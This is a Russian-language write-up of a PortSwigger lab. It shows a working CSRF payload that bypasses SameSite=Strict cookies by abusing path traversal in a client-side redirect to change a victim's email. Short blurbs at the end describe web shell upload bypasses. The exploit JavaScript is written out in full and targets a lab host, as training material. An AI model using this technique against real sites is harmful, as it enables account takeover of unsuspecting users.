На странице
SameSite Strict bypass через client-side redirect
Лаборатория
SameSite Strict bypass via client-side redirect · Practitioner
Решение
Дано: уже привычная форма смены email. Логинимся:
set-cookie: session=TkCuL6az98ZphhtL0tfC47tfHD8bAIRT; Secure; HttpOnly; SameSite=Strict
На этот раз SameSite=Strict, и предыдущий трюк с GET-запросом не пройдёт — кука не будет приложена к запросу. Условие намекает на client-side redirect, найдём его.
Зайдём на сайт, зайдём в пост — есть форма отправки комментария:
postId=4&comment=1223&name=HUUU&email=r%40t.ru&website=https%3A%2F%2Flab.apsyleg.ru
Отправляем, улетает POST-запрос, возврат 302. Редирект на /post/comment/confirmation?postId=4. И далее, спустя 3 секунды, уже клиентский редирект на /post/4.
Посмотрим код страницы /confirmation. Тут есть загрузка скрипта /resources/js/commentConfirmationRedirect.js и вызов:
<script>redirectOnConfirmation('/post');</script>
Содержимое скрипта:
redirectOnConfirmation = (blogPath) => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = blogPath + '/' + postId;
}, 3000);
}
Инъекция может выглядеть так (помним про method override):
../my-account/change-email?_method=POST&email=hacked@b.ru
А сам URL:
/post/comment/confirmation?postId=../my-account/change-email?_method=POST&email=x@x.ru
"Missing parameter: 'submit'". Чот не хватает, го посмотри как работает легитимная форма смены пароля. И правда нужно ещё передавать submit=1:
/post/comment/confirmation?postId=../my-account/change-email?_method=POST&email=x@x.ru&submit=1
Итоговая нагрузка:
<script>
location = 'https://0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?_method=POST&email=x@x.ru&submit=1';
</script>
Не прошло, обрезались параметры после первого &. Сделаем тогда энкодинг ? и &:
<script>
location = 'https://0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email%3f_method=POST%26email=x@x.ru%26submit=1';
</script>
Лаба решена.
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.